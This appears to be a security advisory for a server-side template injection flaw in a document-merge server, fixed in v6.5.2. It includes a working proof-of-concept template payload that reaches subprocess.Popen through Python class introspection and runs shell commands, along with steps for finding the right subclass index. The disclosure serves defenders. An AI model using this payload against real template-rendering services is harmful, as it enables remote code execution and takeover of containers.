A remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server's context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container.
{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %}
ls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("ls -a", shell=True, stdout=-1).communicate()[0].strip() }}
whoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("whoami", shell=True, stdout=-1).communicate()[0].strip() }}
uname -a:
{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("uname -a", shell=True, stdout=-1).communicate()[0].strip() }}
{% endif %}
Impact
What kind of vulnerability is it? Who is impacted?
A remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server's context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container.
Patches
Has the problem been patched? What versions should users upgrade to?
It has been patched in v6.5.2
References
Are there any links users can visit to find out more?
POC
Add the following to a document, upload and render it:
The index might be different, so to debug this first render a template with
{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }}
and then get the index ofsubprocess.Popen
and replace 202 with that.